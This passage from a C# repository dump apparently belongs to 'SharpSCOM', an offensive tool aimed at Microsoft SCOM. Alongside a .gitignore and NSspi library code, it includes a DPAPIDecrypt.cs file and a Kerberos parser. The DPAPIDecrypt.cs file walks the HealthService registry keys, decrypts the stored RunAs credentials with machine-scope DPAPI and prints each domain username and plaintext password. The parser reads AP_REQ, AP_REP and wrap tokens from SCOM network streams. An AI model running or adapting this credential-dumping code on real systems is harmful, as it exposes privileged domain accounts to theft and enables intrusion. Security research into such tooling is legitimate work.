101 | return zlib_data_decompressed;
102 | }
103 | }
104 | catch (Exception e)
105 | {
106 | Console.WriteLine($"[!] ERROR: {e.Message}");
107 | return null;
108 | }
109 | }
110 |
111 | public static byte[] CompressZlib(byte[] data)
112 | {
113 | using (MemoryStream outputStream = new MemoryStream())
114 | {
115 | using (DeflateStream deflateStream = new DeflateStream(outputStream, CompressionMode.Compress))
116 | deflateStream.Write(data, 0, data.Length);
117 | return outputStream.ToArray();
118 | }
119 | }
120 | }
121 | }
122 |
--------------------------------------------------------------------------------
/SharpSCOM/Crypto/DPAPIDecrypt.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Security.Cryptography;
4 | using System.Text;
5 | using Microsoft.Win32;
6 | using SharpSCOM.Common;
7 |
8 | namespace SharpSCOM.Crypto
9 | {
10 | public class Credential
11 | {
12 | public string Domain { get; set; }
13 | public string User { get; set; }
14 | public string Password { get; set; }
15 | public string RegistryPath { get; set; }
16 |
17 | public string GetFullUsername()
18 | {
19 | return string.IsNullOrEmpty(Domain)
20 | ? User
21 | : $"{Domain}\\{User}";
22 | }
23 | }
24 |
25 | public static class DPAPIDecrypt
26 | {
27 | private static ILogger logger => LoggerFactory.Logger;
28 |
29 | private const string REGISTRY_BASE_PATH = @"SYSTEM\CurrentControlSet\Services\HealthService\Parameters\Management Groups";
30 |
31 | public static List ExtractRunAsCredentials()
32 | {
33 | var credentials = new List();
34 |
35 | logger.Info("Searching for RunAs credentials in registry...");
36 |
37 | try
38 | {
39 | using (var baseKey = Registry.LocalMachine.OpenSubKey(REGISTRY_BASE_PATH))
40 | {
41 | if (baseKey == null)
42 | {
43 | logger.Error($"Registry path not found: {REGISTRY_BASE_PATH}");
44 | return credentials;
45 | }
46 |
47 | // Navigate through the nested structure: *\SSDB\SSIDs\*
48 | foreach (var mgName in baseKey.GetSubKeyNames())
49 | {
50 | string ssdbPath = $"{REGISTRY_BASE_PATH}\\{mgName}\\SSDB\\SSIDs";
51 |
52 | logger.Debug($"Checking management group: {mgName}");
53 |
54 | using (var ssidsKey = Registry.LocalMachine.OpenSubKey(ssdbPath))
55 | {
56 | if (ssidsKey == null)
57 | {
58 | logger.Debug($"No SSIDs found in {mgName}");
59 | continue;
60 | }
61 |
62 | foreach (var ssidName in ssidsKey.GetSubKeyNames())
63 | {
64 | string fullPath = $"{ssdbPath}\\{ssidName}";
65 |
66 | using (var key = Registry.LocalMachine.OpenSubKey(fullPath))
67 | {
68 | if (key == null)
69 | continue;
70 |
71 | var value = key.GetValue("") as byte[];
72 | if (value == null || value.Length < Constants.DPAPI_ENTROPY_SIZE)
73 | {
74 | logger.Error($"Skipping {ssidName} - invalid data");
75 | continue;
76 | }
77 |
78 | var credential = DecryptCredential(value, fullPath, logger);
79 | if (credential != null)
80 | {
81 | credentials.Add(credential);
82 | }
83 | }
84 | }
85 | }
86 | }
87 | }
88 |
89 | // Display summary
90 | if (credentials.Count > 0)
91 | {
92 | logger.Info($"Found {credentials.Count} credentials");
93 | Console.WriteLine();
94 | foreach (var cred in credentials)
95 | {
96 | Console.WriteLine($"Username: {cred.GetFullUsername()}");
97 | Console.WriteLine($"Password: {cred.Password}");
98 | Console.WriteLine();
99 | }
100 | logger.Info("Completed");
101 | }
102 | else
103 | {
104 | logger.Info("No credentials found");
105 | }
106 | }
107 | catch (UnauthorizedAccessException ex)
108 | {
109 | logger.Error("Access denied. Run as Administrator to access registry keys", ex);
110 | }
111 | catch (Exception ex)
112 | {
113 | logger.Error($"Error accessing registry: {ex.Message}", ex);
114 | }
115 |
116 | return credentials;
117 | }
118 |
119 | private static Credential DecryptCredential(byte[] value, string registryPath, ILogger logger)
120 | {
121 | try
122 | {
123 | if (value.Length < Constants.DPAPI_ENTROPY_SIZE)
124 | {
125 | logger.Debug($"Invalid credential data at {registryPath}: too short ({value.Length} bytes)");
126 | return null;
127 | }
128 |
129 | // Last 0x400 bytes are entropy
130 | byte[] entropy = new byte[Constants.DPAPI_ENTROPY_SIZE];
131 | Array.Copy(value, value.Length - Constants.DPAPI_ENTROPY_SIZE, entropy, 0, Constants.DPAPI_ENTROPY_SIZE);
132 |
133 | // Remaining bytes are encrypted data
134 | int encDataLen = value.Length - Constants.DPAPI_ENTROPY_SIZE;
135 | byte[] encData = new byte[encDataLen];
136 | Array.Copy(value, 0, encData, 0, encDataLen);
137 |
138 | // Decrypt using DPAPI
139 | byte[] decryptedBytes = ProtectedData.Unprotect(
140 | encData,
141 | entropy,
142 | DataProtectionScope.LocalMachine
143 | );
144 |
145 | string decrypted = Encoding.Unicode.GetString(decryptedBytes);
146 |
147 | // Split by null character and take first 3 values
148 | string[] parts = decrypted.Split('\0');
149 |
150 | if (parts.Length >= 3)
151 | {
152 | return new Credential
153 | {
154 | Domain = parts[0],
155 | User = parts[1],
156 | Password = parts[2],
157 | RegistryPath = registryPath
158 | };
159 | }
160 |
161 | logger.Debug($"Insufficient credential parts at {registryPath}: found {parts.Length}, expected 3+");
162 | return null;
163 | }
164 | catch (CryptographicException ex)
165 | {
166 | logger.Debug($"DPAPI decryption failed at {registryPath}: {ex.Message}");
167 | return null;
168 | }
169 | catch (Exception ex)
170 | {
171 | logger.Debug($"Error decrypting credential at {registryPath}: {ex.Message}");
172 | return null;
173 | }
174 | }
175 | }
176 | }
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | ## Ignore Visual Studio temporary files, build results, and
2 | ## files generated by popular Visual Studio add-ons.
3 | ##
4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore
5 |
6 | # User-specific files
7 | *.rsuser
8 | *.suo
9 | *.user
10 | *.userosscache
11 | *.sln.docstates
12 |
13 | # User-specific files (MonoDevelop/Xamarin Studio)
14 | *.userprefs
15 |
16 | # Mono auto generated files
17 | mono_crash.*
18 |
19 | # Build results
20 | [Dd]ebug/
21 | [Dd]ebugPublic/
22 | [Rr]elease/
23 | [Rr]eleases/
24 | x64/
25 | x86/
26 | [Ww][Ii][Nn]32/
27 | [Aa][Rr][Mm]/
28 | [Aa][Rr][Mm]64/
29 | bld/
30 | [Bb]in/
31 | [Oo]bj/
32 | [Oo]ut/
33 | [Ll]og/
34 | [Ll]ogs/
35 |
36 | # Visual Studio 2015/2017 cache/options directory
37 | .vs/
38 | # Uncomment if you have tasks that create the project's static files in wwwroot
39 | #wwwroot/
40 |
41 | # Visual Studio 2017 auto generated files
42 | Generated\ Files/
43 |
44 | # MSTest test Results
45 | [Tt]est[Rr]esult*/
46 | [Bb]uild[Ll]og.*
47 |
48 | # NUnit
49 | *.VisualState.xml
50 | TestResult.xml
51 | nunit-*.xml
52 |
53 | # Build Results of an ATL Project
54 | [Dd]ebugPS/
55 | [Rr]eleasePS/
56 | dlldata.c
57 |
58 | # Benchmark Results
59 | BenchmarkDotNet.Artifacts/
60 |
61 | # .NET Core
62 | project.lock.json
63 | project.fragment.lock.json
64 | artifacts/
65 |
66 | # ASP.NET Scaffolding
67 | ScaffoldingReadMe.txt
68 |
69 | # StyleCop
70 | StyleCopReport.xml
71 |
72 | # Files built by Visual Studio
73 | *_i.c
74 | *_p.c
75 | *_h.h
76 | *.ilk
77 | *.meta
78 | *.obj
79 | *.iobj
80 | *.pch
81 | *.pdb
82 | *.ipdb
83 | *.pgc
84 | *.pgd
85 | *.rsp
86 | *.sbr
87 | *.tlb
88 | *.tli
89 | *.tlh
90 | *.tmp
91 | *.tmp_proj
92 | *_wpftmp.csproj
93 | *.log
94 | *.vspscc
95 | *.vssscc
96 | .builds
97 | *.pidb
98 | *.svclog
99 | *.scc
100 |
101 | # Chutzpah Test files
102 | _Chutzpah*
103 |
104 | # Visual C++ cache files
105 | ipch/
106 | *.aps
107 | *.ncb
108 | *.opendb
109 | *.opensdf
110 | *.sdf
111 | *.cachefile
112 | *.VC.db
113 | *.VC.VC.opendb
114 |
115 | # Visual Studio profiler
116 | *.psess
117 | *.vsp
118 | *.vspx
119 | *.sap
120 |
121 | # Visual Studio Trace Files
122 | *.e2e
123 |
124 | # TFS 2012 Local Workspace
125 | $tf/
126 |
127 | # Guidance Automation Toolkit
128 | *.gpState
129 |
130 | # ReSharper is a .NET coding add-in
131 | _ReSharper*/
132 | *.[Rr]e[Ss]harper
133 | *.DotSettings.user
134 |
135 | # TeamCity is a build add-in
136 | _TeamCity*
137 |
138 | # DotCover is a Code Coverage Tool
139 | *.dotCover
140 |
141 | # AxoCover is a Code Coverage Tool
142 | .axoCover/*
143 | !.axoCover/settings.json
144 |
145 | # Coverlet is a free, cross platform Code Coverage Tool
146 | coverage*.json
147 | coverage*.xml
148 | coverage*.info
149 |
150 | # Visual Studio code coverage results
151 | *.coverage
152 | *.coveragexml
153 |
154 | # NCrunch
155 | _NCrunch_*
156 | .*crunch*.local.xml
157 | nCrunchTemp_*
158 |
159 | # MightyMoose
160 | *.mm.*
161 | AutoTest.Net/
162 |
163 | # Web workbench (sass)
164 | .sass-cache/
165 |
166 | # Installshield output folder
167 | [Ee]xpress/
168 |
169 | # DocProject is a documentation generator add-in
170 | DocProject/buildhelp/
171 | DocProject/Help/*.HxT
172 | DocProject/Help/*.HxC
173 | DocProject/Help/*.hhc
174 | DocProject/Help/*.hhk
175 | DocProject/Help/*.hhp
176 | DocProject/Help/Html2
177 | DocProject/Help/html
178 |
179 | # Click-Once directory
180 | publish/
181 |
182 | # Publish Web Output
183 | *.[Pp]ublish.xml
184 | *.azurePubxml
185 | # Note: Comment the next line if you want to checkin your web deploy settings,
186 | # but database connection strings (with potential passwords) will be unencrypted
187 | *.pubxml
188 | *.publishproj
189 |
190 | # Microsoft Azure Web App publish settings. Comment the next line if you want to
191 | # checkin your Azure Web App publish settings, but sensitive information contained
192 | # in these scripts will be unencrypted
193 | PublishScripts/
194 |
195 | # NuGet Packages
196 | *.nupkg
197 | # NuGet Symbol Packages
198 | *.snupkg
199 | # The packages folder can be ignored because of Package Restore
200 | **/[Pp]ackages/*
201 | # except build/, which is used as an MSBuild target.
202 | !**/[Pp]ackages/build/
203 | # Uncomment if necessary however generally it will be regenerated when needed
204 | #!**/[Pp]ackages/repositories.config
205 | # NuGet v3's project.json files produces more ignorable files
206 | *.nuget.props
207 | *.nuget.targets
208 |
209 | # Microsoft Azure Build Output
210 | csx/
211 | *.build.csdef
212 |
213 | # Microsoft Azure Emulator
214 | ecf/
215 | rcf/
216 |
217 | # Windows Store app package directories and files
218 | AppPackages/
219 | BundleArtifacts/
220 | Package.StoreAssociation.xml
221 | _pkginfo.txt
222 | *.appx
223 | *.appxbundle
224 | *.appxupload
225 |
226 | # Visual Studio cache files
227 | # files ending in .cache can be ignored
228 | *.[Cc]ache
229 | # but keep track of directories ending in .cache
230 | !?*.[Cc]ache/
231 |
232 | # Others
233 | ClientBin/
234 | ~$*
235 | *~
236 | *.dbmdl
237 | *.dbproj.schemaview
238 | *.jfm
239 | *.pfx
240 | *.publishsettings
241 | orleans.codegen.cs
242 |
243 | # Including strong name files can present a security risk
244 | # (https://github.com/github/gitignore/pull/2483#issue-259490424)
245 | #*.snk
246 |
247 | # Since there are multiple workflows, uncomment next line to ignore bower_components
248 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
249 | #bower_components/
250 |
251 | # RIA/Silverlight projects
252 | Generated_Code/
253 |
254 | # Backup & report files from converting an old project file
255 | # to a newer Visual Studio version. Backup files are not needed,
256 | # because we have git ;-)
257 | _UpgradeReport_Files/
258 | Backup*/
259 | UpgradeLog*.XML
260 | UpgradeLog*.htm
261 | ServiceFabricBackup/
262 | *.rptproj.bak
263 |
264 | # SQL Server files
265 | *.mdf
266 | *.ldf
267 | *.ndf
268 |
269 | # Business Intelligence projects
270 | *.rdl.data
271 | *.bim.layout
272 | *.bim_*.settings
273 | *.rptproj.rsuser
274 | *- [Bb]ackup.rdl
275 | *- [Bb]ackup ([0-9]).rdl
276 | *- [Bb]ackup ([0-9][0-9]).rdl
277 |
278 | # Microsoft Fakes
279 | FakesAssemblies/
280 |
281 | # GhostDoc plugin setting file
282 | *.GhostDoc.xml
283 |
284 | # Node.js Tools for Visual Studio
285 | .ntvs_analysis.dat
286 | node_modules/
287 |
288 | # Visual Studio 6 build log
289 | *.plg
290 |
291 | # Visual Studio 6 workspace options file
292 | *.opt
293 |
294 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
295 | *.vbw
296 |
297 | # Visual Studio LightSwitch build output
298 | **/*.HTMLClient/GeneratedArtifacts
299 | **/*.DesktopClient/GeneratedArtifacts
300 | **/*.DesktopClient/ModelManifest.xml
301 | **/*.Server/GeneratedArtifacts
302 | **/*.Server/ModelManifest.xml
303 | _Pvt_Extensions
304 |
305 | # Paket dependency manager
306 | .paket/paket.exe
307 | paket-files/
308 |
309 | # FAKE - F# Make
310 | .fake/
311 |
312 | # CodeRush personal settings
313 | .cr/personal
314 |
315 | # Python Tools for Visual Studio (PTVS)
316 | __pycache__/
317 | *.pyc
318 |
319 | # Cake - Uncomment if you are using it
320 | # tools/**
321 | # !tools/packages.config
322 |
323 | # Tabs Studio
324 | *.tss
325 |
326 | # Telerik's JustMock configuration file
327 | *.jmconfig
328 |
329 | # BizTalk build output
330 | *.btp.cs
331 | *.btm.cs
332 | *.odx.cs
333 | *.xsd.cs
334 |
335 | # OpenCover UI analysis results
336 | OpenCover/
337 |
338 | # Azure Stream Analytics local run output
339 | ASALocalRun/
340 |
341 | # MSBuild Binary and Structured Log
342 | *.binlog
343 |
344 | # NVidia Nsight GPU debugger configuration file
345 | *.nvuser
346 |
347 | # MFractors (Xamarin productivity tool) working folder
348 | .mfractor/
349 |
350 | # Local History for Visual Studio
351 | .localhistory/
352 |
353 | # BeatPulse healthcheck temp database
354 | healthchecksdb
355 |
356 | # Backup folder for Package Reference Convert tool in Visual Studio 2017
357 | MigrationBackup/
358 |
359 | # Ionide (cross platform F# VS Code tools) working folder
360 | .ionide/
361 |
362 | # Fody - auto-generated XML schema
363 | FodyWeavers.xsd
364 |
365 | .DS_Store
366 |
--------------------------------------------------------------------------------
/SharpSCOM/Auth/KerberosMessageParser.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.IO;
3 | using System.IO.Compression;
4 | using System.Linq;
5 | using System.Net.Sockets;
6 | using SharpSCOM.Common;
7 |
8 | namespace SharpSCOM.Auth
9 | {
10 | public static class KerberosMessageParser
11 | {
12 | private static ILogger logger => LoggerFactory.Logger;
13 | public static byte[] ParseApReq(NetworkStream networkStream)
14 | {
15 | try
16 | {
17 | // Read and discard SCOM header
18 | byte[] scom_header = new byte[Protocol.AP_REQ_HEADER_OFFSET];
19 | int bytesRead = networkStream.Read(scom_header, 0, Protocol.AP_REQ_HEADER_OFFSET);
20 |
21 | logger.Debug($"scom_header: {BitConverter.ToString(scom_header)}");
22 |
23 | // Read first size value (4 bytes, little endian)
24 | byte[] ap_req_size_bytes_1 = new byte[4];
25 | networkStream.Read(ap_req_size_bytes_1, 0, 4);
26 | int ap_req_size_int_1 = BitConverter.ToInt32(ap_req_size_bytes_1, 0);
27 |
28 | logger.Debug($"ap_req_size_bytes_1: {BitConverter.ToString(ap_req_size_bytes_1)}");
29 | logger.Debug($"ap_req_size_int_1: {ap_req_size_int_1}");
30 |
31 | // Skip 4 bytes
32 | networkStream.Read(new byte[4], 0, 4);
33 |
34 | // Read second size value (4 bytes, little endian)
35 | byte[] ap_req_size_bytes_2 = new byte[4];
36 | networkStream.Read(ap_req_size_bytes_2, 0, 4);
37 | int ap_req_size_int_2 = BitConverter.ToInt32(ap_req_size_bytes_2, 0);
38 |
39 | logger.Debug($"ap_req_size_bytes_2: {BitConverter.ToString(ap_req_size_bytes_2)}");
40 | logger.Debug($"ap_req_size_int_2: {ap_req_size_int_2}");
41 |
42 | // Read the AP_REQ data
43 | byte[] clientToken = new byte[ap_req_size_int_2];
44 | networkStream.Read(clientToken, 0, clientToken.Length);
45 |
46 | logger.Debug($"got client AP_REQ: {BitConverter.ToString(clientToken)}");
47 |
48 | return clientToken;
49 | }
50 | catch (Exception ex)
51 | {
52 | Console.WriteLine($"[!] ERROR parsing AP_REQ: {ex.Message}");
53 | return null;
54 | }
55 | }
56 |
57 | public static byte[] ParseApRep(NetworkStream networkStream)
58 | {
59 | try
60 | {
61 | // Read and discard SCOM header
62 | byte[] scom_header = new byte[Protocol.AP_REP_HEADER_OFFSET];
63 | networkStream.Read(scom_header, 0, Protocol.AP_REP_HEADER_OFFSET);
64 |
65 | logger.Debug($"scom_header: {BitConverter.ToString(scom_header)}");
66 |
67 | // Skip 4 bytes
68 | networkStream.Read(new byte[Protocol.AP_REP_SKIP_BYTES], 0, Protocol.AP_REP_SKIP_BYTES);
69 |
70 | // Read size value
71 | byte[] ap_rep_size_bytes = new byte[4];
72 | networkStream.Read(ap_rep_size_bytes, 0, 4);
73 | int ap_rep_size = BitConverter.ToInt32(ap_rep_size_bytes, 0);
74 |
75 | logger.Debug($"ap_rep_size_bytes_1: {BitConverter.ToString(ap_rep_size_bytes)}");
76 | logger.Debug($"ap_rep_size_int_1: {ap_rep_size}");
77 |
78 | // Read the AP_REP data
79 | byte[] clientToken = new byte[ap_rep_size];
80 | networkStream.Read(clientToken, 0, clientToken.Length);
81 |
82 | logger.Debug($"(got client AS-REP): {BitConverter.ToString(clientToken)}");
83 |
84 | return clientToken;
85 | }
86 | catch (Exception ex)
87 | {
88 | Console.WriteLine($"[!] ERROR parsing AP_REP: {ex.Message}");
89 | return null;
90 | }
91 | }
92 |
93 | public static byte[] ParseKerbWrapToken(NetworkStream networkStream)
94 | {
95 | try
96 | {
97 | // Read wrap token header
98 | byte[] kerb_wrap_header_bytes = new byte[Protocol.KERB_WRAP_HEADER_SIZE];
99 | int bytesRead = networkStream.Read(kerb_wrap_header_bytes, 0, Protocol.KERB_WRAP_HEADER_SIZE);
100 |
101 | logger.Debug($"kerb_wrap_header_bytes: {BitConverter.ToString(kerb_wrap_header_bytes)}");
102 |
103 | // Extract the size from the header
104 | byte[] kerb_wrap_size_bytes = kerb_wrap_header_bytes
105 | .Skip(Protocol.KERB_WRAP_SIZE_OFFSET)
106 | .Take(4)
107 | .ToArray();
108 |
109 | int kerb_wrap_size = BitConverter.ToInt32(kerb_wrap_size_bytes, 0);
110 |
111 | logger.Debug($"kerb_wrap_size_bytes_1: {BitConverter.ToString(kerb_wrap_size_bytes)}");
112 | logger.Debug($"kerb_wrap_size_int_1: {kerb_wrap_size}");
113 |
114 | // Read the token data
115 | byte[] tokenData = new byte[kerb_wrap_size];
116 | networkStream.Read(tokenData, 0, tokenData.Length);
117 |
118 | // Combine header and data
119 | byte[] combinedArray = kerb_wrap_header_bytes.Concat(tokenData).ToArray();
120 |
121 | logger.Debug($"got client Kerb Wrap Token: {BitConverter.ToString(combinedArray)} length: {combinedArray.Length}");
122 |
123 | return combinedArray;
124 | }
125 | catch (Exception ex)
126 | {
127 | Console.WriteLine($"[!] ERROR parsing Kerberos wrap token: {ex.Message}");
128 | return null;
129 | }
130 | }
131 |
132 | public static byte[] ParseDecWrapToken(byte[] dec_kerb_wrap_bytes)
133 | {
134 | try
135 | {
136 | using (MemoryStream memStream = new MemoryStream(dec_kerb_wrap_bytes))
137 | {
138 | // Skip decrypted kerberos wrap token header
139 | byte[] dec_wrap_header_bytes = new byte[Protocol.DEC_WRAP_HEADER_SIZE];
140 | memStream.Read(dec_wrap_header_bytes, 0, Protocol.DEC_WRAP_HEADER_SIZE);
141 |
142 | // Read zlib compressed size
143 | byte[] zlib_size_bytes = new byte[4];
144 | memStream.Read(zlib_size_bytes, 0, 4);
145 | int zlib_size = BitConverter.ToInt32(zlib_size_bytes, 0);
146 |
147 | logger.Debug($"dec_wrap_header_bytes: {BitConverter.ToString(dec_wrap_header_bytes)}");
148 | logger.Debug($"zlib_size_int: {zlib_size}");
149 |
150 | // Skip zlib header bytes (0x78, 0x9C)
151 | memStream.Read(new byte[Protocol.ZLIB_HEADER_SIZE], 0, Protocol.ZLIB_HEADER_SIZE);
152 |
153 | // Read compressed data
154 | byte[] zlib_data = new byte[zlib_size];
155 | memStream.Read(zlib_data, 0, zlib_data.Length);
156 |
157 | // Decompress
158 | byte[] decompressed = DecompressZlib(zlib_data);
159 |
160 | logger.Debug($"(decompressed zlib_data base64): {Convert.ToBase64String(decompressed)}");
161 |
162 |
163 | return decompressed;
164 | }
165 | }
166 | catch (Exception ex)
167 | {
168 | Console.WriteLine($"[!] ERROR parsing decrypted wrap token: {ex.Message}");
169 | return null;
170 | }
171 | }
172 |
173 | // Account for Right Rotation Count (RRC)
174 | // https://datatracker.ietf.org/doc/html/rfc4121#section-4.2.5
175 | public static byte[] SwapBytes(byte[] byteArray)
176 | {
177 | if (byteArray == null || byteArray.Length < 6)
178 | return byteArray;
179 |
180 | byte[] swappedArray = (byte[])byteArray.Clone();
181 |
182 | swappedArray[0] = byteArray[1];
183 | swappedArray[1] = byteArray[0];
184 |
185 | swappedArray[4] = byteArray[5];
186 | swappedArray[5] = byteArray[4];
187 |
188 | return swappedArray;
189 | }
190 |
191 | private static byte[] DecompressZlib(byte[] compressedData)
192 | {
193 | using (MemoryStream inputStream = new MemoryStream(compressedData, false))
194 | using (MemoryStream outputStream = new MemoryStream())
195 | using (DeflateStream deflateStream = new DeflateStream(inputStream, CompressionMode.Decompress))
196 | {
197 | deflateStream.CopyTo(outputStream);
198 | return outputStream.ToArray();
199 | }
200 | }
201 | }
202 | }
--------------------------------------------------------------------------------
/nsspi/NSspi/Contexts/ClientContext.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using NSspi.Buffers;
3 | using NSspi.Credentials;
4 |
5 | namespace NSspi.Contexts
6 | {
7 | ///
8 | /// Represents a client security context. Provides the means to establish a shared security context
9 | /// with the server and to encrypt, decrypt, sign and verify messages to and from the server.
10 | ///
11 | ///
12 | /// A client and server establish a shared security context by exchanging authentication tokens. Once
13 | /// the shared context is established, the client and server can pass messages to each other, encrypted,
14 | /// signed, etc, using the established parameters of the shared context.
15 | ///
16 | public class ClientContext : Context
17 | {
18 | private ContextAttrib requestedAttribs;
19 | private ContextAttrib finalAttribs;
20 | private string serverPrinc;
21 |
22 | ///
23 | /// Initializes a new instance of the ClientContext class. The context is not fully initialized and usable
24 | /// until the authentication cycle has been completed.
25 | ///
26 | /// The security credential to authenticate as.
27 | /// The principle name of the server to connect to, or null for any.
28 | /// Requested attributes that describe the desired properties of the
29 | /// context once it is established. If a context cannot be established that satisfies the indicated
30 | /// properties, the context initialization is aborted.
31 | public ClientContext( Credential cred, string serverPrinc, ContextAttrib requestedAttribs )
32 | : base( cred )
33 | {
34 | this.serverPrinc = serverPrinc;
35 | this.requestedAttribs = requestedAttribs;
36 | }
37 |
38 | ///
39 | /// Performs and continues the authentication cycle.
40 | ///
41 | ///
42 | /// This method is performed iteratively to start, continue, and end the authentication cycle with the
43 | /// server. Each stage works by acquiring a token from one side, presenting it to the other side
44 | /// which in turn may generate a new token.
45 | ///
46 | /// The cycle typically starts and ends with the client. On the first invocation on the client,
47 | /// no server token exists, and null is provided in its place. The client returns its status, providing
48 | /// its output token for the server. The server accepts the clients token as input and provides a
49 | /// token as output to send back to the client. This cycle continues until the server and client
50 | /// both indicate, typically, a SecurityStatus of 'OK'.
51 | ///
52 | /// The most recently received token from the server, or null if beginning
53 | /// the authentication cycle.
54 | /// The clients next authentication token in the authentication cycle.
55 | /// A status message indicating the progression of the authentication cycle.
56 | /// A status of 'OK' indicates that the cycle is complete, from the client's perspective. If the outToken
57 | /// is not null, it must be sent to the server.
58 | /// A status of 'Continue' indicates that the output token should be sent to the server and
59 | /// a response should be anticipated.
60 | public SecurityStatus Init( byte[] serverToken, out byte[] outToken )
61 | {
62 | TimeStamp rawExpiry = new TimeStamp();
63 |
64 | SecurityStatus status;
65 |
66 | SecureBuffer outTokenBuffer;
67 | SecureBufferAdapter outAdapter;
68 |
69 | SecureBuffer serverBuffer;
70 | SecureBufferAdapter serverAdapter;
71 |
72 | if( this.Disposed )
73 | {
74 | throw new ObjectDisposedException( "ClientContext" );
75 | }
76 | else if( ( serverToken != null ) && ( this.ContextHandle.IsInvalid ) )
77 | {
78 | throw new InvalidOperationException( "Out-of-order usage detected - have a server token, but no previous client token had been created." );
79 | }
80 | else if( ( serverToken == null ) && ( this.ContextHandle.IsInvalid == false ) )
81 | {
82 | throw new InvalidOperationException( "Must provide the server's response when continuing the init process." );
83 | }
84 |
85 | // The security package tells us how big its biggest token will be. We'll allocate a buffer
86 | // that size, and it'll tell us how much it used.
87 | outTokenBuffer = new SecureBuffer(
88 | new byte[this.Credential.PackageInfo.MaxTokenLength],
89 | BufferType.Token
90 | );
91 |
92 | serverBuffer = null;
93 | if( serverToken != null )
94 | {
95 | serverBuffer = new SecureBuffer( serverToken, BufferType.Token );
96 | }
97 |
98 | // Some notes on handles and invoking InitializeSecurityContext
99 | // - The first time around, the phContext parameter (the 'old' handle) is a null pointer to what
100 | // would be an RawSspiHandle, to indicate this is the first time it's being called.
101 | // The phNewContext is a pointer (reference) to an RawSspiHandle struct of where to write the
102 | // new handle's values.
103 | // - The next time you invoke ISC, it takes a pointer to the handle it gave you last time in phContext,
104 | // and takes a pointer to where it should write the new handle's values in phNewContext.
105 | // - After the first time, you can provide the same handle to both parameters. From MSDN:
106 | // "On the second call, phNewContext can be the same as the handle specified in the phContext
107 | // parameter."
108 | // It will overwrite the handle you gave it with the new handle value.
109 | // - All handle structures themselves are actually *two* pointer variables, eg, 64 bits on 32-bit
110 | // Windows, 128 bits on 64-bit Windows.
111 | // - So in the end, on a 64-bit machine, we're passing a 64-bit value (the pointer to the struct) that
112 | // points to 128 bits of memory (the struct itself) for where to write the handle numbers.
113 | using( outAdapter = new SecureBufferAdapter( outTokenBuffer ) )
114 | {
115 | if( this.ContextHandle.IsInvalid )
116 | {
117 | status = ContextNativeMethods.InitializeSecurityContext_1(
118 | ref this.Credential.Handle.rawHandle,
119 | IntPtr.Zero,
120 | this.serverPrinc,
121 | this.requestedAttribs,
122 | 0,
123 | SecureBufferDataRep.Network,
124 | IntPtr.Zero,
125 | 0,
126 | ref this.ContextHandle.rawHandle,
127 | outAdapter.Handle,
128 | ref this.finalAttribs,
129 | ref rawExpiry
130 | );
131 | }
132 | else
133 | {
134 | using( serverAdapter = new SecureBufferAdapter( serverBuffer ) )
135 | {
136 | status = ContextNativeMethods.InitializeSecurityContext_2(
137 | ref this.Credential.Handle.rawHandle,
138 | ref this.ContextHandle.rawHandle,
139 | this.serverPrinc,
140 | this.requestedAttribs,
141 | 0,
142 | SecureBufferDataRep.Network,
143 | serverAdapter.Handle,
144 | 0,
145 | ref this.ContextHandle.rawHandle,
146 | outAdapter.Handle,
147 | ref this.finalAttribs,
148 | ref rawExpiry
149 | );
150 | }
151 | }
152 | }
153 |
154 | if( status.IsError() == false )
155 | {
156 | if( status == SecurityStatus.OK )
157 | {
158 | base.Initialize( rawExpiry.ToDateTime() );
159 | }
160 |
161 | outToken = null;
162 |
163 | if( outTokenBuffer.Length != 0 )
164 | {
165 | outToken = new byte[outTokenBuffer.Length];
166 | Array.Copy( outTokenBuffer.Buffer, outToken, outToken.Length );
167 | }
168 | }
169 | else
170 | {
171 | throw new SSPIException( "Failed to invoke InitializeSecurityContext for a client", status );
172 | }
173 |
174 | return status;
175 | }
176 | }
177 | }
--------------------------------------------------------------------------------